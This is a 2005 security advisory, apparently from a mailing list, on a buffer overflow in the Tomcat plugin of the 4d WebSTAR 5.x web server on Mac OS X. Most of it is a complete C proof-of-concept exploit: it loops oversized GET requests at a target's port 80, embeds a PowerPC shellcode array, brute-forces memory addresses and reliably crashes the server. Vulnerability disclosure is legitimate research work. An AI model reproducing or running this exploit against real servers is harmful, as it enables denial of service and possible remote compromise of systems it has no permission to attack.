<<< Date Index >>>     <<< Thread Index >>>

4d WebSTAR 5.x Web Server Mac OS X Buffer Overflow



4d WebSTAR 5.x Mac OS X Buffer Overflow
Author: Braden Thomas
Vendor: http://www.4d.com
Product: 4d WebSTAR 5.33 and 5.4 Web Server on Mac OS X
*only trial version tested
Risk: Medium, remote root (unlikely), DoS (likely)
PoC Exploit code included


Description:
4d WebSTAR 5.x (5.33 and 5.4 tested) contains a buffer overflow in the Web Server Tomcat plugin. The plugin is included and active in a default installation of 4d WebSTAR. The overflow exists within the URL. This overflow can be used for DoS easily, but because 4d WebSTAR restarts the server process when it crashes, the attacker has to send a malicious packet about every half second for effective DoS. The overflow can also theoretically be used for remote code execution, but as far as I can tell, the exploit is very improbable.

Details of the exploit:

The buffer is copied byte-by-byte starting from the beginning of the buffer until a NULL (or a couple other terminating) byte is reached. However, the pointer that points to the beginning of the buffer exists just at the edge of the buffer. Therefore, you will immediately overflow this pointer after going over the buffer. Since you will overflow this pointer MSB-first, the chance is high (if you aren't careful), that you'll direct the pointer into memory that either isn't readable, or contains a NULL-pointer, at which point your overflow will terminate. My exploit runs in a loop and continues ad infinitum if the server doesn't crash.

Although the buffer moves around in memory, the pointer is static in reference to the beginning of the buffer. So if you guess the average value for the buffer and put it where the pointer will be overflowed, you'll get a decent chance of actually successfully overflowing a valid pointer that actually points within the buffer (or maybe another copy of the buffer in memory). In my code this is defined as BUFADDR, or below as readaddr.

Buffer:
[nops][shellcode][ret addrs][readaddr][more ret addrs]

Once you continue the overflow past the read address pointer, it's sort of a mystery where in the buffer you will be reading from. Basically about half of the buffer overflowed consists of return addresses. If you thought getting the read address right was tough, the return address is even harder. You can actually fill the link register with this address with a fair accuracy. This address *should* return execution back to your buffer to run the shellcode, but will often crash with EXC_BAD_INSTRUCTION somewhere else. Note that in the example exploit, the shellcode buffer has been set to all A's for testing. Once you get the link register filled (which happens about 10% of successful overflows), the chance that you actually hit the shellcode is quite small. In fact, I've only seen it happen once or twice. Good luck. :)

Vendor notified:
March 31, 2005

Fix:
Disable Tomcat plugin


-Braden


Code:

/* 4d buffer overflow
Braden Thomas

the buffer is copied byte by byte starting from the beginning of the buffer
        until a NULL byte is reached (or a couple other types of bytes)
the buffer is copied from a pointer that resides past the end of the buffer the buffer can overflow over this pointer, allowing the program to read bytes to wherever it wants

-the exploit must restore this pointer or risk reading from null memory, terminating overflow -the pointer is different each time, though it's location in relation to the buffer is static (buffer+1285) -the pointer is overwritten byte by byte, meaning that one wrong byte, and we're reading from somewhere else... which can be potentially bad in terms of exploitation

    method:
-exploit attempts to: overwrite the pointer so that the memory will continue to be overflowed
        (i.e., do not point into any memory that contains a null byte)
-exploit attempts to continue overflowing with return addresses, to overflow where LR is stored -when loop ends and LR is restored, it will return execution into the buffer and into shellcode -some looping has been added, where BUFADDR is enumerated to try to brute force the overflow
        because failed servers are respawned

    results:
actually successful in moving the execution pointer about 10 to 25% of the time
        unsuccessful in actually jumping to the nops/shellcode :(

    problems I don't understand:
occasionally other threads crash in weird places (memcpy and szone_malloc)... this might actually be when it works as desired and doesn't crash... but other threads do crash
            before shellcode can do its magic!
            (but that's just a hypothesis)  :)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/time.h>

unsigned char shellcode[]=    // no 0x00 0x20 0x3f 0x24 0x2f
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\xa8\x02\xa6\x38\xc3\xe1\x35"
"\x39\x80\x01\x18\x39\xad\x1f\xff\x81\xcd\xe1\x39\x81\xed\xe1\x35"
"\x7d\xef\x72\x78\x91\xed\xe1\x35\x7c\x06\x68\xac\x7c\x01\x04\xac"
"\x7c\x06\x6f\xac\x4c\x01\x01\x2c\x39\xad\xff\xfc\x39\x8c\xff\xfb"
"\x7d\x8c\x63\x79\x40\x82\xff\xd8\x3b\xe0\x30\xff\x7f\xe0\x4e\x70"
"\x44\xff\xff\x02\x7c\x63\x1a\x79\x7c\x63\x1a\x79\x7c\x63\x1a\x79"
"\x10\x29\x25\xcb\x10\xc9\x25\xc8\x10\xe9\x25\xcf\x10\x49\x25\xa8"
"\x6c\x49\x25\xcb\x54\x49\x27\xb1\x54\x37\x3e\xb1\x60\x49\x25\xc4"
"\x28\x4b\x3e\xf0\x28\x49\x25\xc9\x54\xc1\x27\x6f\x10\xe9\x25\xd9"
"\x10\x49\x25\xa1\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x10\x49\x25\xa3\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\x8a\xd6\xb1\x10\x49\x25\xd7\x10\xc9\x25\xd9\xb8\xc8\xda\x21"
"\x10\xe8\xda\x21\x10\xc8\xda\x39\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x54\x37\x3e\xb1\x10\xe9\x25\xcb\x10\x49\x25\x93\x57\x8a\xd6\xb1"
"\x54\xed\x0e\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1\x10\xec\xda\x36"
"\x04\x4c\xda\x36\x68\xcb\xda\x2c\x10\x49\x25\x8b\x6c\x49\x25\xcb"
"\x54\x49\x27\xb1\x54\xec\x0f\xb0\x68\xcb\xda\x34\x54\x21\x27\x6f"
"\x10\x2a\x25\xe1\xb8\x28\xda\x31\xb8\xe8\xda\x35\x10\xc8\xda\x31"
"\x10\x49\x25\xf2\x54\x49\x21\x65\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\xa9\x25\xc1\x07\x2b\x4c\xa7\x07\x2a\x56\xa1\x28\x49\x25\xc9"
"\x28\x49\x25\xc9";

#define BUFSIZE 1400
long BUFADDR= 0x284fe04;//0x02850204;

int main(int argc, char *argv[])
{
    printf("4d WebSTAR buffer overflow\n");
    printf("\tBraden Thomas\n");

    if (argc<2)
    {
        printf("4dbo <target>\n");
        return 1;
    }

    struct sockaddr_in their_addr;
    their_addr.sin_family = AF_INET;
    their_addr.sin_port = htons(80);
    inet_aton(argv[1], &(their_addr.sin_addr));
    memset(&(their_addr.sin_zero), '\0', 8);


    int count=0;
    while (1)
    {

        char buffer[BUFSIZE];

        // [nops][shellcode][ret addrs][readaddr][more ret addrs]

        memset(buffer,0x60,sizeof(buffer));    // nops first

        int shellcodeLen = sizeof(shellcode)-1;
memset(shellcode,'A',shellcodeLen); // just for testing!

memcpy(buffer+400+5,shellcode,shellcodeLen); // next shellcode


unsigned long retaddr = BUFADDR + 0x1600; // as if it matters... this never works! unsigned long *bufPtr = (unsigned long*)(buffer+400 +shellcodeLen+5); // now for ret addrs
        int bufCnt;
        for (bufCnt=400+shellcodeLen;bufCnt<BUFSIZE;bufCnt+=4)
        {
            memcpy(bufPtr,&retaddr,4);
            bufPtr++;
        }

unsigned long readaddr = BUFADDR; // now ptr read address // just a guess... works pretty well tho
        memcpy(buffer+1285,&readaddr,4);

        memcpy(buffer,"GET /",5);
        char httpStr[]=" HTTP/1.1\r\n\r\n";
        memcpy(buffer+BUFSIZE-sizeof(httpStr),httpStr,sizeof(httpStr));

        if (!count)
printf("\nRead addr: 0x%x\nReturn addr: 0x%x \n",readaddr,retaddr);


        int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof (struct sockaddr)) == -1)
        {
            printf("connect error\n");
            return 1;
        }
        if (send(sockfd, buffer, sizeof(buffer)-1, 0) == -1)
        {
            printf("send error\n");
            return 1;
        }

        struct timeval time;
        fd_set mySet;
        FD_ZERO(&mySet);
        FD_SET(sockfd, &mySet);
        time.tv_sec = 40;
        time.tv_usec = 0;
        if (!select(sockfd+1, &mySet, NULL, NULL, &time))
        {
            printf("\nNo response received.\n");
            break;
        }
        else
        {
            char resBuff[64];
            int readRes = recv(sockfd, resBuff, sizeof(resBuff), 0);
            if (!readRes)
            {
                printf("\nZero length response.\n");
            }
            else if (!(count%21))
                printf("\nResponse length: %d", readRes);
            else
                printf(".");

            count++;

            if (count>=100)
            {
                count=0;
                BUFADDR+=0x200;
                if (BUFADDR>0x285c000)
                    BUFADDR=0x284f204;
            }

        }

        close(sockfd);
    }
    return 0;
}